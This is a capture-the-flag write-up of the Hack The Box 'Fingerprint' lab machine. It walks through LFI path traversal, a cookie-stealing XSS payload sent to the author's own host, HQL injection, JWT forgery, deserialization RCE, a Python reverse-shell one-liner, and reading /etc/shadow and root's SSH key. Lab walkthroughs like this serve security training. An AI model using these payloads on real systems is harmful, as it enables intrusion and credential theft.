Hack-The-Box-walkthrough[fingerprint]
introduce
OS: Linux
Difficulty: Insane
Points: 50
Release: 04 Dec 2021
IP: 10.10.11.127
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
We have a couple interesting ports, both HTTP ports seem to be security applications. One for a python program called “mylog” and the other for “secAuth”:
Both sites require logins to use most of their functions. Instead we can start looking into what both of these are doing. As expected, this first server is a python server:
1 | http://fingerprint.htb/ |
The second is unusual, it’s a glassfish server which I’ve never seen before:
1 | http://fingerprint.htb:8080/ |
We only really have /login and /admin on the first site, the second site has a few more directories to work with:
We can start fuzzing general exploits and eventually find LFI in /admin/view which let’s view files. There’s some interesting usernames that could lead us to a potential foothold, such as flask. If we look into his home directory, we see the web-app’s source code. We can request the database that contains the user information and see if we can get a login:
1 | GET /admin/view/../../../../../../../../../../../../../../../../home/flask/app/users.db HTTP/1.1 |
This seems to contain a password:
1 | admin:u_will_never_guess_this_password |
We can grab app.py and see we have access to the config password:
1 | from flask import Flask, redirect, request, render_template, session, g, url_for, send_file, make_response |
1 | SjG$g5VZ(vHC;M2Xc/2~z( |
We also have the source code used to check authentication:
1 | import sqlite3 |
We can check how SQL is made “safe” by grabbing it from the util file:
1 | def build_safe_sql_where(m): |
Foothold
We can look back to the creds we found earlier from users.db and sign in as the admin. We have auth.log which is available to us and reflects sign in attempts on port 8080. We can easily get XSS using a simple payload and it gets reflected back to us via the log file:
The log file clears every minute or so. We can try PHP payloads instead however they don’t seem to be executed. (It’s a flask app so it won’t use PHP). We can go back to looking at app.py and see that any logs from localhost are filtered out so we may not be able to see execution regardless. Capturing it in burp also shows us something else interesting:
1 | uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src=%3d"http%3a//fingerprint.htb%3a8080//resources/js/login.js"></script> |
After submitting this, we see there’s reference to a FingerprintID() function:
1 | document.getElementById("auth_secondary").value = getFingerPrintID() |
We can go to login.js and see the source code for this function:
1 | function getFingerPrintID() { |
We can see that fingerprint is made up of a huge amount of information from the person navigating to the page then MD5 hashed. The MD5 hasing function can be seen at the top of the page:
1 | var MD5 = function (d) { |
It makes reference to a load of sub functions. We can copy this over to our local machine and reuse it to steal the admin’s fingerprint. We can create the following:
1 | var MD5 = function (d) { |
We can put this into a login.js file of our own and include it onto the page using:
1 | <script src="http://10.10.14.25:8000/login.js"></script> |
Our final request is:
1 | uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src%3d"http%3a//10.10.14.25%3a8000/login.js"></script> |
We can get the fingerprint of the admin:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
Next is to actually get logged in, we don’t have a username or password however can look into the docs of glassfish and see that it uses HQL (Not SQL) and try HQLi:
1 | '962f4a03aa7ebc0515734cf398b0ccd6' |
After my query, I get the following error:
1 | org.hibernate.exception.JDBCConnectionException: Unable to acquire JDBC Connection |
We can look through some resources online and find a general payload syntax:
- Hibernate Query Language Injection
We can try using a logical query and bypass the parts of the query that we don’t know:
1 | uid=x' OR SUBSTRING(username,1,1)='m' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6 |
We’re finally in however still no shell, we probably need another exploit. We can see there’s a file upload function on the main page, all files that are uploaded get placed in /images
This doesn’t get us particularly far. What’s more interesting is our cookie:
1 | Cookie: JSESSIONID=fb8c54276d03b86ceee7d0244dcb; user=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFDMjFwWTJobFlXd3hNak0xIn0.6dfequ2JzMYm2A6wgo6SU_pJWzWgqmGaChbRiXiEgTw |
We can decode this and see there’s a serialized object:
1 | sr!com.admin.security.src.model.User s_k I idL fingerprintt Ljava/lang/String;L passwordq~ L usernameq~ xp t@7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6t LWg7gUR1EmX7UNxsJxqZt micheal1235 |
I didn’t have much luck with serialization. Instead we think back to /backups and see if there’s any useful java files. We can bruteforce them and find Profile.java and User.java:
1 | // http://fingerprint.htb:8080/backups/Profile.java |
1 | // http://fingerprint.htb:8080/backups/User.java |
We can see where our session is going to be written, in our case it’d be in micheal1235.ser however we want a session in admin.ser. We can do this be unserializing our current cookie value, changing ourselves to admin then re-serializing. Below is a convenient script made by sakertooth (https://github.com/sakertooth?tab=repositories):
1 | package com.admin.security.src.model; |
The output of which is:
1 | User successfully deserialized: |
We can resign our cookie using the secret from earlier: SjG$g5VZ(vHC;M2Xc/2~z(. After doing so, we have access to “recent logs”:
User own
Finally, we’re getting somewhere. The actual log feature isn’t useful as we already have access and know it’s vulnerable to XSS. Instead, we can continue with the serialization idea and attempt to get a reverse shell. We’ll save our admin cookie for now just in case:
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFCV0ZrYldsdSJ9.lPDqZy7OX9cBclkxmK9gAx4SWiad_YFrjezvJO1apCA |
We can repurpose the script (now knowing it works) to overwrite the username and perform RCE:
1 | import com.admin.security.src.model.User; |
We can generate a reverse shell and update the script to use this:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
We should then get a reverse shell. We see there’s a SUID binary available to us. Our goal here is to retrieve a id_rsa key for SSH using it, below is Yuma’s script for it (https://gist.github.com/Yuma-Tsushima07):
1 | import os, sys |
We do get a use-able key (with the name John), however we still need a password. Doing some source code analysis leads us to the existing java classes. One of which has a hibernate password commented out:
1 | // 69: ldc 'hibernate.connection.username' |
Using this, we can get a shell.
Root own
We have a few backups, the one one was have access to is flask-app-secure.bak, we can copy this over to our local machine and enumerate it:
1 | scp -i id_rsa john@fingerprint.htb:/var/backups/flask-app-secure.bak ./ |
We can look at the improvement notes and see that this is likely going to be crypto:
1 | [x] fixed access control flaw |
There is a custom encryption in place that we need to try crack. There is a service running on port 8080 which is likely this flask app, we can forward this to ourselves too:
1 | ssh -L 8080:localhost:8080 -i id_rsa john@fingerprint.htb |
Look familiar? It’s the same app before just using a different authentication method. We can re-use the XSS from before and see if we can get the box to connect back to us.
1 | <script>document.location%3d"http%3a//10.10.14.25%3a81/"%2bdocument.cookie</script> |
We get the following:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
This does appear to be static so we don’t have much to worry about. It appears to be using AES-ECB:
Here are the functions for this:
1 | SECRET = "password" |
We can forward localhost:8088 to ourselves from the target box and see if we can attack this:
1 | ssh -L 8088:localhost:8088 -i id_rsa john@fingerprint.htb |
1 | import requests |
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
yes, we did…
After using this, we can try retrieve a working cookie to give ourselves access to the admin portal:
1 | import requests |
Running the script, I get the following:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
Finally, we reuse our LFI to geet root’s flag:
1 | GET /admin/view/../../etc/shadow HTTP/1.1 |
1 | root:$6$majc7QP4$VMJpElFyLIyyBoq4QFLBGkuY0q9BrThALCyM54jGim.gJQlOsVUBI5nmu70LNV1FV2GxiyqbpzMkFk/x9ahgc1:18928:0:99999:7::: |
and get root’s ssh key
1 | GET /admin/view/../../root/.ssh/id_rsa HTTP/1.1 |
and we can get both user and root flag:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
Summary of knowledge
- LFI read users.db file
- xss steal admin’s auth_secondary param
- decode jwt cookie and then forge
- Hibernate Query Language Injection bypass login
- RCE via forged jwt cookie to get a reverse shell
- py script extract id_rsa key through SUID binary
- java classes has a hibernate password commented out
- forge admin’s user_id through custom AES-ECB script
- LFI reuse to get root’s flag and root’s ssh key
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…